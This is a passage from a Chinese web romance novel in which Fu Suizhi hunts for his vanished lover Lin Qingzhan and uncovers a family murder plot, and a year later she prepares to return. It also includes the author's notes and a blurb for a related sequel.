一句话刚落,长老脸都绿了。 傅随之冷笑:“我给傅氏集团造成影响?去年收益提高百分之三,你每个月多领的分红是凭空生出来的?” 长老启唇想辩解,最终什么话都没说出来。 傅随之摆摆手,“等你能靠自己赚钱找女人的时候,再来跟我说话。下一个。” 自从林青盏消失后,傅随之身上的 戾气更重,连秦楠和傅慎平日里说话都要小心翼翼的,他们也没想到老宅这些老不死的竟然还敢主动送上门来找晦气。 不过也就开了这么一个头,傅随之神色像是要吃人一样,其他人是再也不敢说话了。 傅清檐看不下去只能自己上,“随之,你继任也好几年了,看着历练还是不够,性情太过冲动。今晚几位长老不过是担心你罢了。” 傅随之将目光转移到他身上。 “最近城中关于你的绯闻传得沸沸扬扬的,有说你养着的那只金丝雀出车祸在爆炸中死亡的,也有说人家怕了你设计假死逃脱的,更甚的还传出你为一个已故之人茶饭不思伤心欲绝的,我们都是你的家人自然是担心你的状态。 更何况还有说你之前就准备了婚礼要和那个女人结婚,到目前为止婚礼现场还未取消的。 你可是堂堂傅家家主,做什么事情都要顾及傅家脸面。” 傅随之周身有着黑雾弥漫,“我爸死很多年了。” 言外之意,没谁能管到他头上来。 之前傅随之不想把脸撕破,是想着有些事还得调查清楚,而且他羽翼尚未丰满,终归不想和傅清檐鱼死网破。 只是今年他手里捏着很多项目,特别是最近刚和周聿淮签下了蓝盛的项目,另外和纪时礼一直在进行的生物制药技术有了新的突破,这是连政.府都在极力支持的项目。 现在已经到了傅氏集团离不开他的地步,傅怀锦必然不可能轻易让他卸任。 所以他更加肆无忌惮。 傅清檐就是为了故意激他让他发疯,只要他疯,傅清檐就有理由申请罢免他家主的位置。 傅清檐笑脸看向傅怀锦,“爸,你看这——” 自从上次傅随之大闹荣华园,当着他们的面逼迫傅鸿源和沈钰铭洞房结婚后,傅怀锦也知道他现在越发控制不住傅随之了。 傅怀锦深吸一口气,“随之,你二叔和长老们说得对。不过是一个女人,何至于让你闹成这样。你是堂堂傅家家主,傅氏集团还得你带领,你注意点影响终归是不会错的。” 傅随之静坐,就是不答。 因为他的冷漠态度,今晚这谈话倒是没谈出什么,傅清檐始终要傅随之给个交代,傅随之理都没理他,最终傅怀锦出声遣散众人,结束了这场没有任何实质性意义的家族会议。 当天晚上,傅随之飞往京都。两天后和周聿淮开完会又直接飞往马来西亚。 傅随之刚落地吉隆坡,贺兰承的人就过来引路,直接带到私人别墅。 带路的人解释这是贺兰承的个人住处,为他们备了茶,让傅随之在大厅等候。 这是第一次有人敢让傅随之等一等。 秦楠和傅慎对视一眼,以为傅随之听到这话会翻脸,却是没想到他当真在黑色沙发坐下。 他解开西服扣子,神色平静喝起茶。 他们震惊的同时,也很感慨。 傅随之为了林青盏,真的什么事情都干得出来- 私人别墅管家为傅随之准备了好茶,叫他稍等片刻,这一等就是两个小时。 秦楠和傅慎都等得不耐烦了,傅随之还能气定神闲坐在黑色沙发上,认真观赏着别墅院落里种着的海棠花。 贺兰承看着不像是爱花的人,但这一院子的海棠花倒是养护得很好。 傅随之侧着身,用食指顶着脑袋,歪头像是在看海棠花,其实脑海里满是林青盏。 以往在海棠湾,林青盏得空都会去玻璃花房里给海棠花浇水除草。她喜欢穿带刺绣的裙子,蹲下身,裙摆叠在地上像是繁复的海棠花。 傅随之走进去,会将人直接抱起来,走到沙发坐下。 他让她坐在他身上,手掌贴着她纤细的腰,慢慢磨着她。 …… 想到以往,傅随之眉眼间的阴郁更甚。 这时,贺兰承出现在别墅大门口。 他穿一身黑色商务西装,身姿挺拔巍如松,迈步走过来,卷来一股强势的气场。 他也戴着金丝眼镜,五官很精致,但偏严肃沉稳,不像是傅随之那般,镜片下的眼神永远透着一股阴翳。 贺兰承走过来,在傅随之还未反应过来时,一挥拳直接砸在他脸上。 傅随之被他这狠劲儿打得脸都歪了过去,不过三秒钟,他豁然站起身,对贺兰承挥出拳头。 林青盏消失后,傅随之心底的那股火一直被压制着,没想到今天在这里让贺兰承一拳头打出来。 他抓住贺兰承的西服衣领把人拎到自己面前,“你是不是知道她在哪里?你把她藏哪里了?” “我没找你要人,你倒是还敢找我要人?!” 贺兰承一拳抡过去,直接把傅随之摁在沙发上,刚想凑过去再揍人,被傅随之抬脚踹开。 两人莫名其妙打起来,管家吓出一身冷汗,左右为难。 傅慎和秦楠倒是镇定,两人站在落地窗前,背靠着透明玻璃,面无表情看着两人扭成一团。 十分钟后,两人终于停下来,坐在沙发上互相看对方不顺眼。 管家让人拿了冰块过来冰敷,又拿了药膏过来,贺兰承没擦,直接将那管药扔在桌上。 他理了理头发,将金丝眼镜重新戴上:“人没在我这儿,你找错地方了。不过刚好有些事我们也要谈一谈。” 傅随之擦嘴角血迹的动作顿住,抬眸看他。 他之前没和贺兰承接触过,但多少听说他的大名,知道这人在商界劲儿狠,跟傅随之有的一拼,说是诡计多端也不为过。 傅随之没想到贺兰承会一副想和他开诚布公谈的姿态。 贺兰承:“你父亲去世那年,小纾都还没出生,我爸离世的时候,她还小什么都不知道。沈钰铭有心挑拨,告诉小纾她的身份,还跟她说你知道小纾的身份,让她待在身边,不过是想从她身上得到那件东西。 要是以往,她极其睿智,不可能轻易中招。但这段时间,她刚失去你们的孩子,情绪不好,很容易受到蛊惑。 沈钰铭以我以你的安危相逼,她受不住是正常的。” 贺兰承拿着真丝手帕擦掉脸上的血迹,“重点是你竟然让她独自承受这些,你说你该不该揍?” 傅随之无话可说。 “她知道她离开后,你很快会查到我这里来,为了保证我的安全,她不可能轻易让你找到。” 贺兰承虽然和林青盏分开十几年,但他对这个从小自己养大的小孩非常了解。 “而且她也在意当年的真相。” 贺兰承盯着傅随之,“我知道你也很在意,不然你不会忍着这么多年不解决傅清檐。” 傅随之淡漠看着他。 “想让她回来,就好好调查清楚,当年我父亲是不是真的对你父亲下了手,是不是傅清檐对我父亲痛下杀手的?” 这段时间贺兰承已经将傅随之的事情打探清楚,对他为人稍有了解,所以今天他是完全摊开来说的。 “就算你找到了人,这些没调查清楚,小纾她也不见得会跟你回去。而且我并不同意她跟你在一起。” 傅随之神色冷了下来。 旁边的秦楠和傅慎面面相觑,这亏三爷好像非吃不可,谁让贺兰承是夫人的大哥! 从贺兰承这里没有得到任何答案,傅随之没心思跟他废话,站起身想要离开。 贺兰承叫住他,“当年的事情太久远,调查起来并不简单。我劝你还是从当年见证过那件事的人下手,比如:棠严峻。” 傅随之转身,蹙眉看他。 贺兰承抬起头,那双眼睛徒然沾染了阴狠锐利,“你是不是不知道,当年将我抓进游园惊梦的就是棠严峻。” 傅随之眼神闪了下,很是震惊—— 作者有话说:走一下剧情,就几章,很快就重逢哈。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 65-70 第66章 傅随之没有停留,从贺兰承的别墅离开后,定了航班直接飞回浮城,连夜赶到游园惊梦。 深夜三点钟。 傅随之推开游园惊梦大门,惊动了看守的人,保卫赶紧走过来,低头称呼:“三爷。” 他冷着脸走到第一排位置坐下,手腕搭在咖色木桌上轻轻敲打着,“让棠严峻下来。” 保卫点头称是,赶忙去叫了棠严峻。 棠严峻早睡下,大半夜的,听到保卫说傅随之过来,心脏砰砰砰跳着,莫名有种很不好的预感。 他疾步走下楼,在环形木梯垂眸望下去,看到坐在戏台前的傅随之。 傅随之一袭黑色西装,身姿挺拔,手腕随意搭在桌面,周身满是低气压,比这浓重黑夜还要吓人。 棠严峻突然有所感知,好像所有的事情都要瞒不住了。 他一步步走到傅随之面前站定,“三爷。” 傅随之抬起冷漠眼眸,“贺兰承是林峰平的儿子,林青盏是林峰平的女儿,这件事你是知道的?” 方才的忐忑在这句问话后沉了下来,像是悬在头顶的刀终于落了下来。 棠严峻听到自己的声音,“是。”没有一丝颤抖。 “什么时候知道的?” “十八年前。” 傅随之抬头看他,是示意他说下去。 “姐夫离开后,姐姐让我找人盯着傅清檐。傅清檐并没有什么大动作,只是暗地里在找人。我们知道他要找的是林峰平,就叫之前安排的人都停下,专门盯着傅清檐。 姐姐去世后,我也没放下这件事。机缘巧合下,盯梢的人听到傅清檐说找到林峰平手里的东西,我就猜想林峰平手里应该是有什么证据能治傅清檐。我曾经派人找寻过那个东西,但没找到。 直到十八年前,傅清檐的人去了海城回来,突然开始在城中找两个孩子。” 棠严峻抬眸看傅随之,“后来我让人去了趟海城,才发现林峰平已经死了,而他的孩子刚好来了浮城。我费了点力气,将林解抓来游园惊梦,本是想问问他林峰平留下的东西在哪里。 林解戒备心很强,很抗拒我的靠近,我只能将他关在阁楼里,每天去查看。聊了三天,林解愣是一句话没说,我最终也没找到东西。 有天他趁着上厕所的空隙逃了,等我再找到他的时候,见他被傅清檐的人抓住,我不方面再露面,只能暗地里探查消息。” “傅清檐将林解抓走后,很快带着他去了海城,我猜想是去找傅清檐想要的东西,就让人也跟着去查看。去的人说,看到符裕河把人带上船,回来的时候林解不见了。之后我的人在海城探听了许久,都没有找到林解的消息。” “符裕河为什么带着林解去海上,林解之后去了哪里?这些我都查不到。只是后来盯着傅清檐的人回来跟我说,傅清檐那几天叫了慕觞淙好几次,我觉得奇怪就让人去查了下慕觞淙,刚巧知道慕觞淙将一个小女孩送去望月台。” 傅随之之前没想到这一层。 “从一开始,慕觞淙接近林青盏就是有预谋的,想要从她身上拿到林峰平生前留下的东西。起初两年,我也让人盯过林青盏,后来我发现她是真的不知道那些东西在哪里。 但是林解不见了,所以我和傅清檐都只能盯着林青盏。 一直到慕觞淙将林青盏往你身边送,其实我没有怀疑过林青盏是傅清檐派来的棋子,这位姑娘不是那种会认贼作父的人。 我以为是傅清檐等不及了,他故意将林青盏送到你面前,将他多年布下的这场局推到你这里,想让你来收这张网。 他是想让你知道林青盏以及林解的存在,利用你的人脉去追查,你在明傅清檐在暗,只要那些东西能现出,他就能趁机抢走。 当年海城海域没有出现打捞到尸身的新闻,林解其实没有死。或许傅清檐还想借此逼出林解,这一切都在他的掌控之中。 不然你以为沈家为什么会知道林峰平和他手里有东西的事情,而且林解也紧跟着出现了。” 棠严峻笑了声:“某种意义上,林青盏是他丢出来的诱饵,吊着林解也吊着你。他笃定你冷酷无情,会对林青盏下狠手,但他想错了。你一开始就知道她是林峰平的女儿,你甚至不愿意动她一根汗毛,怎么会挟持她威逼林解。他怎么都想不到,林青盏会突然失踪,将他操控多年的棋局彻底打碎。” 棠严峻开始仰头大笑,“傅清檐那个阴险小人,为了上位可以杀害自己的哥哥。这点我们都知道,可是我们没有证据,所以不只是他,这些年我也一直在等,等林解什么时候会再出现,等林峰平留下的那个东西什么时候能找到。” “这些年,他拐卖人口,偷税漏税,草菅人命,所有证据我都收集好了,全部握在我手里。” 棠严峻举起双手紧紧握成拳头,紧咬着腮帮子,是极度的愤怒和狂暴,“可是我都没有让法律制裁他,因为我要让他为当年杀害姐夫付出代价!他可以死,但必须是因为杀害姐夫的名义入狱被判刑!我一定要亲手将他送进去,这样才能慰籍姐姐和姐夫的在天之灵!” 灰暗的戏楼里,傅随之坐在戏台前,仰头可以看到舞台上挂着棠傛那巨大海报,四周围是环形木梯缠绕着往上的戏楼,空荡荡,没有半分人气。 以往,傅随之十分喜欢这种寂静到冰冷的氛围,可现在却觉得非常不喜欢。 他从棠严峻口中得到了他想要的答案,但心底只觉得更加麻木。 他缓慢站起身,想要往外面走去,突然听到棠严峻说道:“是我帮她离开浮城的。” 傅随之停下脚步,豁然转身看向棠严峻,“你说什么?” “你决定要跟她结婚那天,林小姐给我打了电话,跟我坦白了身份。她很聪明,从沈钰铭的威胁里猜想到傅清檐的计划和棋局。她说过去的事情对你很重要,但对她来说,你和哥哥的生命更重要。 现在傅清檐和沈家甚至是其他一直觊觎你位置的人,可能都在盯着你们。如果她的身份曝光,不仅会让你和林解产生矛盾,还会中了那些人的招,这一切只要她离开,就能被打破。 而且她知道,你心意已决,婚礼势在必行,这对你现在的处境没有任何帮助。所以她请我帮助她离开浮城。” 傅随之冲上来,一把抓住棠严峻的衣领,深色凶狠至极,“她在哪里?” “我不知道。”棠严峻老实回答:“我安排的车送她出了浮城,在三禾路口将她留下。后来她上了哪辆车,去了哪里,我一概不知。” 傅随之拳头太过用力绷着青涩脉络,脸色可见的阴沉下去,他死死盯着棠严峻,但棠严峻表现得很平稳,他没有说谎。 最终,傅随之用力推开棠严峻,转身大步往外走。 他没让秦楠和傅慎跟着,自己驱车回了海棠湾。 不知不觉即将入冬,他裹挟一身寒冷,用力推开主卧大门,门磕在墙壁发出巨大沉闷的响声,惊动了一室的温柔。 傅随之目光所及,满是色彩柔软的布置。 他这人原本就是冷冰冰的,屋里也是冷色系的装扮为主,是林青盏来了之后,他的世界才慢慢变成温柔的彩色。 傅随之用力抓着门的手掌突然泄了力气,心底那点怒气被压下去。 他走过去窝进沙发里,用手掌撑着脑袋,那种无力感随之而来。 白色月光从身后的圆弧落地窗洒落下来,让他的脸庞轮廓更显得苍白。 他坐了会儿,脑袋空空的,目光扫过圆桌上放着的那本《绿山墙的安妮》,随手拿过来。 一张照片从书本里掉落下来。 他弯下腰,捡起那张小小的照片,整个人怔住。 那是林青盏检查胎心胎芽那天报告上出现的彩超图片,黑乎乎的只有两个小白点点,是他们孩子的第一张照片。 林青盏竟然将这张照片洗了出来。 照片的背后写着:绝不背叛。 温柔且坚定- 一年后。 林博蘅落地海城机场,没有任何停留,自己开车前往海城郊外月亮街。 低调的黑色轿车一路行驶到街道最深处,在即将到达海岸线的地方停下来。 林博蘅下了车,转过身,看到靠近海边的白色别墅院子里,林青盏坐在白色木椅上,面前摆放着一台笔记本电脑,应该是在剪辑视频。 一年前,林青盏从棠严峻的车下来,林博蘅随即接上她一路护送到海城 这边。 为了避开傅随之的追查,她不仅和浮城那边的人断了联系,贺兰承那边,也只是偶尔让林博蘅传消息过去报平安。 避世的这一年里,她闲着没事做,也不敢与外人接触过多,就在网上做昆曲分享的账号,有时候她会自己录制视频,教那些想学戏曲的人,从最基础的知识开始讲解。 林博蘅推开白色铁门走进去。 听到声音,林青盏抬眸看去,唇角弯弯:“博蘅哥,你来啦。” 林博蘅长相隽秀,穿一身白色西装,完全是个风光霁月的贵公子。 他走到她旁边的椅子坐下,侧身看了眼她的笔记本电脑,“又在剪辑视频么?” “对啊。”林青盏眉眼带笑,“最近我做的视频观看量提高了,我的粉丝从一百多变成了五百多!” 林博蘅点了点头,满脸欣慰:“我们林大小姐每天花6小时录制视频,再花6小时剪辑视频,所有努力没有白费,竟然吸引了这么多自来水粉丝。” 林青盏也觉得自己挺了不起的,从完全不会到现在录制视频、剪辑视频都能一个人完成。 “这是下周才要发的视频吗,不然等下午再剪。我刚下飞机,肚子有点饿,叫了外卖过来,我们先吃饭?” “你叫了哪家啊?” 林青盏很喜欢海城的海鲜,听到吃的,眼睛闪闪发光。 “叫了你最喜欢的醉乡居,会有大闸蟹和皮皮虾。” “好呀。” 醉乡居是海城出了名的海鲜大楼,不接外送,林博蘅是叫人过去点了单送过来的,满满一桌菜摆在林青盏面前。 林博衡挽起衬衫袖口,拿了整套工具开始处理大闸蟹。 他手指修长,有条不紊地处理着大闸蟹,很快将满是蟹肉的白瓷盘放在林青盏面前。 林青盏点头道了谢,开始享用美餐。 或许是因为出生于海城这种沿海城市,从小吃惯了海鲜,她非常喜欢海鲜的味道,尤其是有人将大闸蟹剥好,还能吃到美味的皮皮虾,林青盏吃得特别开心。 林博蘅洗净手,回到饭桌前,开始吃饭。 “前段时间我抽空去了趟望月台,阮青山现在已经全面接手望月台,兰青翎也在帮着他,两人联手倒是不会比你师父师伯管理得差。” 林青盏点了点头,“我师兄很有管理的头脑,小时候他就能将我们一群小孩治理得服服帖帖的。” “这点我认同。” 她喝了口汤,问:“博蘅哥,你看到我师父了吗?她最近还好吗?” 林博蘅望着她的眼睛,“老实说不太好。” “嗯?” “听兰青翎说是教小孩翻跟斗的时候闪了腰,毕竟年纪上去了,身体没有以前利索,好像是在床上躺了两个月。” 林青盏所有的好心情随即消失,“那有去看医生吗?” “当然有。这点你不用担心,说是得躺几个月。” 她点了点头,“那就好。” 林博蘅为她夹了块盐焗鳗鱼,“你没有其他想问的吗?” 她听懂了林博蘅的言外之意,“我有看新闻,能知道浮城的消息。” 林博蘅轻笑了声,“倒是忘了,你现在是冲浪高手。” 话虽是这么说的,但他还是照例开口告知:“傅氏集团和周氏集团合作的项目完成度很高,获利能达到百亿。半年前傅随之和纪时礼研发的生物制药发出,也得到了很大的重视。仅仅这两件事,就足够傅随之在傅家站住脚。” 林博蘅专注看着她,似在观察她的神色,“他还拉拢了你哥,傅清檐在浮城有什么产业,他们就大张旗鼓跟他对着干,不过一年几乎要把傅清檐推到绝境。” 恐怕傅清檐也没想到,他费尽心思下了这一盘棋,因为林青盏的突然消失,让傅随之和贺兰承拧成一条绳,齐齐将枪.口对准了他,直接把自己的半生家业都快搞没了。 “他们现在收集了傅清檐的很多把柄,但那件事还没彻底查清楚,还需要一个有力的证据。” 林青盏没有正面回答,抿唇笑着:“我哥什么时候跟他关系这么好了?” “你误会了,这不叫关系好,这只是相互利用。在商界没有永远的敌人,只有永远的利益。他们两个都是聪明人,不会和钱过不去,更何况——” 更何况他们之间还有一个共同的维护对象,就是林青盏。 林博蘅顿了顿说道:“我上周去了趟马来西亚,你哥让我给你转达一句话。” 林青盏抬眸看他,听他说道:“他让我告诉你,可以回家了。” 一年了,之前她担心的那些事虽然没有彻底解决,但是至少她想守护的人都是平安的。 有些事也是时候该去面对,该去解决—— 作者有话说:下一章傅三要冲来了! 傅三气势汹汹,表面狠厉硬要抢人,实际心底很怕她再逃走,想方设法要把人留下[加油][加油][加油][加油][加油] 傅三从小冷惯了,要拜倒在小纾裙下,甘愿臣服,肯定要有个过程。 后面就都是甜甜甜爱爱爱了,哈哈哈哈!- 孩子很快会来的。 他们准备好之后,傅辞兮和傅盼兮很快就会来。 PS:谁能想到啊,堂堂浮城傅三爷,聪明至极,将商界玩转在手中,可是生的女儿是个笨蛋美人!偏偏还把顾蝉家那对双生儿都迷得团团转! 具体文案指路《非分之想》。 文案内容: 豪门世家|男二上位|暗恋成真|青梅竹马|甜宠文 古物修复师X商界新贵 众所周知,浮城顾家有对双生子, 哥哥顾子槐性情沉稳,弟弟顾子桉豪迈洒脱,两人性情不一,长得却一模一样,让人无法分辨 傅盼兮这种脸盲十级顿感十级的人,常常将他们认错。 偏偏她觉得双胞胎长得一模一样好神奇,从小习惯与他们兄弟三人行 顾子桉性格开朗活泼,经常和傅盼兮斗嘴嬉戏, 圈内人都说他们是一对,顾子桉从没反驳,还总是开玩笑:“傅宝宝,你以后嫁给我啊。” 顾子槐装得清冷寡欲,每次听到这话,都恨不得把顾子桉揍一顿 傅盼兮反倒是觉得顾子桉长得挺帅的,嫁给他也不是不可以 所以当家里人想安排他们结婚的时候,傅盼兮并没有反对,还跟顾子桉商量着,是不是要先谈一场恋爱,再步入婚姻殿堂才显得合情合理 顾子桉表示赞同,策划了他们的第一场约会。 约会当晚,傅盼兮把赴约的男人摁在星空饭店的玻璃上亲 她没谈过恋爱,吻得毫无章法,惹得男人耳廓都憋红了 傅盼兮心底很满意,纤细手指撩着他的耳朵,眉眼弯弯地问:“顾子桉,你是不是害羞了?” 被摁在玻璃上的男人低沉开口,“我是顾子槐。” 傅盼兮怎么都没想到,第一次约会,她认错人了!!- 为了避免认错人的事情再次发生,傅盼兮认真研究了顾子槐,找出他跟顾子桉的区别,顾子槐锁骨下有一颗黑痣 那之后每次和顾子桉见面,她都会先认真确认锁骨没有痣的就是顾子桉 自以为万无一失,不想还是栽了跟头! 那天她和闺蜜喝了点酒,昏昏沉沉地去了顾子桉常住的酒店房间,进门看到躺在床上的男人,二话不说上去把人睡了 隔天醒来,睁开双眼就看到男人锁骨下的那颗黑痣! 她又认错人了!!- 后来两家人聚会商量她和顾子桉婚事的时候,顾子桉满屋子找不到人, 是从未想过,傅盼兮会在顾子槐房间里。 宽阔的房间里,顾子槐硬是将人困在狭窄的单人沙发里, 手掌用力掐着她的腰,眼神阴沉地盯着她,逼着她一字一句说:“我想要的只有槐哥哥。” #明明是相同的脸,为什么喜欢他不喜欢我? #三人行,唯独没有我的名字! #我不可能让你跟他结婚,你是我的!你只能是我的! 第67章 当年,贺兰承去了马来西亚不久,就让贺老帮忙,将他们原来在海城的房子买下来。 有一年,林博蘅陪着贺兰承回来海城,看到他们老家隔壁的这栋白色别墅,觉得不错就买下来当做自己在海城的落脚点。 当时,林博蘅带着林青盏离开浮城,她思考片刻后说想去海城。 刚好,白色别墅成了林博蘅安顿林青盏的住处。 这里靠近海边,可以每天吹海风看海,而且还在她们原来的房子隔壁,地点非常合适。 林青盏一住就是一整年。 之前,贺兰承让林博蘅叫专人定期过来收拾隔壁小院子,所以林博蘅手 里有小院子的钥匙。 住在别墅的这一年,林青盏空了就会拿上钥匙去隔壁转悠转悠,好像能找到小时候住在里面的感觉。 不过里面有些破旧压根不适合居住,林青盏之前一直想着有机会得重新装修布置。 这会儿林博蘅提起,“你哥让我找几个人来将小院子收拾干净,你明天空了要不要过去和设计师谈谈,看要怎么重新布置?” 林青盏点头,“好。” “你哥觉得时机差不多,那要见面吗?” “见吧。” 当初她离开浮城,不想让贺兰承知道她的行踪,是怕贺兰承因为过往的事情,和傅随之产生矛盾,既然现在事情稳定了,林青盏自然不会抗拒和贺兰承见面。 面前的大闸蟹和皮皮虾全吃完了,林青盏满足地压了压嘴角。 林博蘅收拾好桌面,从沙发上拿起自己的西服外套,从里面掏出一个信封,走到她面前放下。 林青盏疑惑看着面前的海棠花信封,抬眸看着他。 “傅随之去马来西亚跟你哥谈生意的时候留下的,说是希望你哥能帮忙转给你。他当然不乐意,傅随之送了他两座庄园,他最后才点头答应。我这次过去,他拿给了我。这是你的信,不管是贺兰承还是我,都没有权利拒收。” 林博蘅将信封放在桌面,“信我放在这里,你自己决定要不要看,好不好?” 他给了林青盏一个安抚的眼神,转身回自己房间整理行李。 别墅的客厅和餐厅是相连的,餐厅里摆放着欧洲风白色方桌,午后的阳光斜着洒落进来,照得她脚丫子暖暖的。 她的手却是冷的。 她捏了捏指尖,最终还是拿起那粉色海棠花信封拆开来,里面有一封三折叠的信纸,信纸里包着风干的海棠花,透出淡淡的香味。 她低头看了眼那张信纸,只写了简单的一句话:「海棠花开,待你归来。」 林青盏胸膛里的那颗心像是被阳光照耀般暖暖的,但她知道深海里的冰层还在,不会一时间融化。 门外响起敲门声,林青盏恍然回过神,站起身走到院子里,看到白色铁门外站着的云雪棠。 云雪棠是她到海城后认识的朋友。 不过二十二岁的小姑娘,长相甜美精致,看到她用力挥了挥手,“小纾姐,我又来了!” 林青盏走过去为她打开铁门,“你今天不用忙月云阁的事情吗?” 云雪棠家里开了个戏楼叫月云阁,她大四刚要毕业没事干,经常去月云阁帮忙。 “现在我妈唱不了,很多观众不来了,而且一时间找不到能顶替的演员,戏排不开,这两天干脆关门休息。” 林青盏领着人往里面走,“进来吧。” “小纾姐,我记得你今天又要去泡温泉了吧?我想着你一个人,要不我陪你过去吧,到时候我还能看着你点。不然你像上次那样,直接在温泉池里睡着了,再晕倒可怎么办好。” 云雪棠长得很好看,鬼灵精怪的,说话的时候表情很可爱。 林青盏将人领进去,在客厅沙发坐下,为云雪棠泡了杯她喜欢的红茶,将茶杯摆在云雪棠面前。 “我本来还想着要不要明天再去,现在你来了刚好,要不我们下午就过去吧。” “好啊。” 去年那场手术后,林青盏虽然做了小月子,但总感觉身体不如以往。 深冬时节,她的手脚都是冰冷的。 刚巧她发现附近有个专门泡汤的酒店,是咸水温泉,听说对身体很好,她就去办了卡,一周去一次泡泡温泉,调理身体。 云雪棠是她在这里交到的唯一一个朋友,两人是因为戏曲结缘,聊得很合拍,后来林青盏就邀请云雪棠过来家里做客,两人关系越发好。 这一年,云雪棠平日里有空就会过来陪着林青盏,跟她出去沙滩玩,看看大海吹吹海风,偶尔去逛街吃饭,也会陪她去泡温泉。 决定下午去泡汤,林青盏上楼回房间收拾了下衣物。 走出房门,刚好看到出来的林博蘅,打了招呼,“博蘅哥,我和雪棠要去泡汤下,先走了。” “好。” 林青盏走出去两步,又停下来回头跟他说:“博蘅哥,你记得告诉我哥,我已经回家了。” 林博蘅笑容可掬,“好。” 林青盏从楼上走下来,对云雪棠招了招手,“我们走吧,我来叫车。” “不用,我今天开了我爸的车出来。” “好。” 两人走出别墅,沿着小山坡走到停车场,上了路边停靠的玛莎拉蒂。 林青盏刚系上安全带,车直接飞出去,突突两下又慢了下来,她很淡定得抓住安全带。 云雪棠尴尬,“不好意思,半年了,我还是不太熟悉它。” 林青盏噗嗤笑出声,“我觉得不只是它,你对车都不太熟。” “哈哈哈哈哈哈。” 云雪棠刚拿驾照半年,不知道为什么车瘾特别大,在学校没办法开车,回到家就逮着她爸的这辆豪车开始嚯嚯。 林青盏非常淡定从容,竟然敢坐她开的车。 两人嘻嘻笑笑出发。 旁边一辆宝马X5的车窗慢慢降下来,露出林博昶那张浪荡不羁的脸庞。 他拿出手机给秦楠打了电话,声音都比平日里亢奋,“好消息,人找到了!跟爷说,是我林博昶找到的!”- 泡汤的酒店就在别墅旁边,不过十分钟的车程。 到了后,林青盏和云雪棠并肩走进去,到前台办理手续,五分钟不到,拿着红色的手环走进泡汤区。 和海城其他的泡汤酒店不同,这家酒店地域广阔,将泡汤区布置得很好看,有各种各样的汤池。 林青盏和云雪棠换好衣服,拿着白色浴巾去了中药汤池那边。 鹅卵石铺绕了一圈围着的中药汤池,闻着有一股很浓重的味道。 林青盏摘下浴巾随意放在旁边的木凳子上,纤细白皙的脚踝缓缓探入池里,热烘烘的中药汤将她包围。 她坐在里面缓和了片刻,逐渐适应炙热的温度,全身毛孔吸收着温热的气息,感觉很舒服。 云雪棠还没下来,她坐在池边,脚丫子点在温泉池里,又快速抬起来,如此反复,样子很是可爱,将林青盏都逗笑。 林青盏如夜莺般的笑声叫云雪棠有些不好意思。 “其实你并不爱泡汤,那还每周跟着我过来?” 云雪棠莞尔一笑,那双眼眸望着林青盏,亮晶晶的。 林青盏知道她是存了什么心思。 六个月前,云雪棠无意间从白色别墅门口经过,听到林青盏晨起在开嗓子,觉得声音非常好听,赶忙过来结交。 因为她想帮她母亲过来挖人才。 云雪棠的母亲曾经是京都戏曲学院的,后来嫁给云父跟着他回到海城。 云母喜欢昆曲,云先生就为她开了个小戏楼让她打发时间,这一打发就是二十几年。 之前云母都是亲自上台表演,身边养了一群志同道合的演员,倒是把月云阁做得有声有色。 半年前,她做了个手术喉咙不行,退下来之后,让月云阁的其他演员顶上,但客人们不买账,生意一落千丈。 这半年,他们一直在找寻好的苗子想培育起来,但月云阁只是 小戏楼,没有什么发展前途,那些科班的自然不可能过来这边工作。 找不到好的演员,表演就没办法提升,即便云父愿意往里面砸钱养着月云阁,但终究不是长久之计。 云母倒是不用这戏楼的收入来维持生活,云父有能力让她一辈子衣食无忧,是她自己对戏楼有牵挂,想着一定得撑起这戏楼。 几乎到了茶不思饭不想的地步。 云雪棠看着很是担心,刚巧碰上林青盏,坚持想邀请林青盏加入月云阁工作。 之前林青盏正在躲着傅随之和贺兰承,自然不可能露面,就没有答应。 云雪棠终于入了汤池,坐下后哀叹一声。 林青盏回过神来看她,“你小小年纪整天唉声叹气做什么?” “我愁啊。”云雪棠深呼吸着,“我妈妈很喜欢唱曲,月云阁是她一辈子的心血,眼看着我们家戏楼就快支撑不住了,我妈最近一直在家里唉声叹气。我心底也有点难受。” 她双手合十对着林青盏眨眼睛,“小纾姐,你真的不再考虑考虑吗?你的声音那么好听,唱功也很好,如果你能到月云阁来,假以时日,我们戏楼肯定会爆棚,座无虚席。” 林青盏莞尔,“你太夸张了。” “我哪里夸张了。小纾姐,你对自己的美貌是不是太没有自知之明了。” 云雪棠随意扎了个丸子头,露出白净的脸庞。 “我妈一直说她给我生了副好皮囊,我从小都知道我长得很好看,大家叫我校花,我半点不心虚。可是在你面前,我简直羞愧不如。” 林青盏捏了捏她的白皙脸蛋,“你这人说话惯来夸张。” “哎,我真没夸张。”云雪棠脑袋往后仰,颇有些苦恼,“我现在啊,就是很后悔,当初我为什么不听我妈的话去学昆曲,如果我去戏曲学院,至少现在还能顶上。” 林青盏看她唉声叹气的,心底不舍,“好了,别苦恼了。我可以先帮你们顶一下。” “小纾姐你别安慰我了——”云雪棠意识到什么,豁然抬起头,“小纾姐,你说什么,你是答应我了?” 林青盏笑容甜美地解释,“之前我是因为有事情不方便出面,现在——应该没事了。我可以先去月云阁一段时间,帮你们撑一下。你也知道我之前在浮城望月台,时机合适的话,我会回去的。” 虽然不能让林青盏彻底留下来,但至少林青盏能帮忙过度下,云雪棠已经非常感激了。 她欢喜站起身,“小纾姐,太好了!那要不你先过来,我们也尽快物色人选。” 林青盏点了点头。 “我现在就去跟我妈打电话!” 林青盏抬起手臂刚想阻止,云雪棠已经灵活跳出汤池,朝着更衣室走去。 更衣室里来来去去都是换衣服的游客,太过吵杂,云雪棠披了件浴袍,拿着手机往泡汤区外面走去,拨通了云母的电话。 “妈!我告诉你,小纾姐答应了!她答应可以来月云阁唱一段时间了。” 云雪棠接电话的时候,身体不自觉跟着晃悠,抬起头不经意间看到一帮人走了进来。 这帮人实在太过显眼。 足有十来人都穿着黑色西服,为首的男人穿着黑色西服和白色衬衫,长得高挑,带着很浓重的强者气势。 男人戴着一副金丝眼镜,脸庞轮廓硬朗,镜片下的眼眸冰冷冷酷,不经意从云雪棠身上扫过,让她无端感觉一阵发冷。 虽然这男人长得很冷,但五官过于精致,云雪棠不免多看了两眼,总感觉这个男人好熟悉啊。 酒店的汤池是一整片的,不分男女,只要刷卡就能进去。 男人走到泡汤区门口的刀闸门停下,身后的保镖赶忙上前刷了卡,一群人围着他走了进去。 云雪棠不是没见过豪门总裁,但第一次见到气势这么强的。 